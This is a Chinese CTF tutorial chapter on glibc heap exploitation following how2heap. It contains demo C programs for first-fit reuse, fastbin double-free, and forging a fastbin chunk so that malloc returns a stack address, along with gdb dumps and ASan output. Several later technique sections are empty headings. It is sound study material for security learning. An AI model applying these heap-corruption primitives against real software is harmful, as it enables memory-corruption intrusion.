CTF-All-In-One/doc/3.3.5_heap_exploit.md
firmianay 541fe22448 fix
2018-01-05 18:07:00 +08:00

22 KiB
Raw Blame History

3.3.5 堆利用

Linux 堆简介

堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2在 glibc 中实现。

更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。

how2heap

how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境glibc 版本如下:

$ file /lib/x86_64-linux-gnu/libc-2.23.so 
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
$ git clone https://github.com/shellphish/how2heap.git
$ cd how2heap
$ make

请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 CFLAGS += -fsanitize=address 可以检测内存错误。下载文件

first_fit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char* a = malloc(512);
    char* b = malloc(256);
    char* c;

    fprintf(stderr, "1st malloc(512): %p\n", a);
    fprintf(stderr, "2nd malloc(256): %p\n", b);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    c = malloc(500);
    fprintf(stderr, "3rd malloc(500): %p\n", c);
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
$ gcc -g first_fit.c
$ ./a.out 
1st malloc(512): 0x1380010
2nd malloc(256): 0x1380220
first allocation 0x1380010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x1380010
3rd allocation 0x1380010 points to CCCCCCCC
first allocation 0x1380010 points to CCCCCCCC

这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时malloc 会先到 unsorted bin或者fastbins 中查找适合的被 free 的 chunk如果没有就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk并把它重新分配。

在 gdb 中调试,两个 malloc 之后chunk 位于 malloc 返回地址减去 0x10 的位置):

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000000	0x0000000000000111 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000

第一个 free 之后,将其加入到 unsorted bin 中:

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a [be freed]
0x602010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd pointer, bk pointer
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000110 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

第三个 malloc 之后:

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk c
0x602010:	0x4343434343434343	0x00007ffff7dd1d00
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000111 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000

好了,现在我们加上内存检测参数重新编译:

$ gcc -fsanitize=address -g first_fit.c 
$ ./a.out 
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00
first allocation 0x61500000fd00 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x61500000fa80
3rd allocation 0x61500000fa80 points to CCCCCCCC
=================================================================
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
READ of size 2 at 0x61500000fd00 thread T0
    #0 0x7f49d14a61e8  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
    #1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
    #2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
    #3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
    #4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)

0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
freed by thread T0 here:
    #0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

fastbin_dup

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 3 buffers.\n");
    char *d = malloc(9);
    char *e = malloc(9);
    char *f = malloc(9);
    strcpy(d, "DDDDDDDD");
    fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
$ gcc -g fastbin_dup.c 
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0x1c07010 points to AAAAAAAA
2nd malloc(9) 0x1c07030 points to BBBBBBBB
3rd malloc(9) 0x1c07050 points to CCCCCCCC
Freeing the first one 0x1c07010.
Then freeing another one 0x1c07030.
Freeing the first one 0x1c07010 again.
Allocating 3 buffers.
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time

这个程序展示了利用 fastbins 的 double-free 攻击。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。

三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1 <-- top chunk
0x602070:	0x0000000000000000

第一个 free 之后chunk a 被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed]
0x602010:	0x0000000000000000	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)

第二个 free 之后chunk b 被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed]
0x602010:	0x0000000000000000	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)

第三个 free 之后chunk a 再次被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed again]
0x602010:	0x0000000000602020	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]

再三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk d, chunk f
0x602010:	0x4646464646464646	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk e
0x602030:	0x4545454545454545	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000

加上内存检测参数重新编译:

$ gcc -fsanitize=address -g fastbin_dup.c
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
Freeing the first one 0x60200000eff0.
Then freeing another one 0x60200000efd0.
Freeing the first one 0x60200000eff0 again.
=================================================================
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)

0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
freed by thread T0 here:
    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

fastbin_dup_into_stack

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    unsigned long long stack_var = 0x21;
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 4 buffers.\n");
    unsigned long long *d = malloc(9);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
    char *e = malloc(9);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    char *f = malloc(9);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
    char *g = malloc(9);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}
$ gcc -g fastbin_dup_into_stack.c 
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0xcf2010 points to AAAAAAAA
2nd malloc(9) 0xcf2030 points to BBBBBBBB
3rd malloc(9) 0xcf2050 points to CCCCCCCC
Freeing the first one 0xcf2010.
Then freeing another one 0xcf2030.
Freeing the first one 0xcf2010 again.
Allocating 4 buffers.
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
5nd malloc(9) 0xcf2030 points to EEEEEEEE
6rd malloc(9) 0xcf2010 points to FFFFFFFF
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG

这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样漏洞也同样是 double-free只有给 fd 填充的内容不一样。

三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1 <-- top chunk
0x602070:	0x0000000000000000

三个 free 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed twice]
0x602010:	0x0000000000602020	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]

这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8从而在栈上伪造出一个 free 的 chunk当然也可以是其他的地址

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk d
0x602010:	0x00007fffffffdc30	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  p &stack_var 
$4 = (unsigned long long *) 0x7fffffffdc38
gef➤  x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30:	0x0000000000000000	0x0000000000000021 <-- fake chunk [seems to be freed]
0x7fffffffdc40:	0x0000000000602010	0x0000000000602010      <-- fd pointer
0x7fffffffdc50:	0x0000000000602030
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]

可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021
0x602010:	0x4646464646464646	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021
0x602030:	0x4545454545454545	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]

再次 malloc即可在 fake chunk 处分配内存:

gef➤  x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30:	0x0000000000000000	0x0000000000000021 <-- fake chunk 
0x7fffffffdc40:	0x4747474747474747	0x0000000000602000
0x7fffffffdc50:	0x0000000000602030

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的。

Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如下:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

其中存在一个溢出的问题,

而在 libc-2.25 中已经修复了这个溢出漏洞,在开头增加了对 size 和 next->prev->size 是否相同的检查,补丁如下:

$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c 
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
Author: DJ Delorie <dj@delorie.com>
Date:   Fri Mar 17 15:31:38 2017 -0400

    Further harden glibc malloc metadata against 1-byte overflows.
    
    Additional check for chunk_size == next->prev->chunk_size in unlink()
    
    2017-03-17  Chris Evans  <scarybeasts@gmail.com>
    
            * malloc/malloc.c (unlink): Add consistency check between size and
            next->prev->size, to further harden against 1-byte overflows.

diff --git a/malloc/malloc.c b/malloc/malloc.c
index e29105c372..994a23248e 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
 
 /* Take a chunk off a bin list */
 #define unlink(AV, P, BK, FD) {                                            \
+    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
+      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
     FD = P->fd;                                                                      \
     BK = P->bk;                                                                      \
     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    \

house_of_spirit

poison_null_byte

house_of_lore

overlapping_chunks

overlapping_chunks_2

house_of_force

unsorted_bin_attack

house_of_einherjar

house_of_orange

参考资料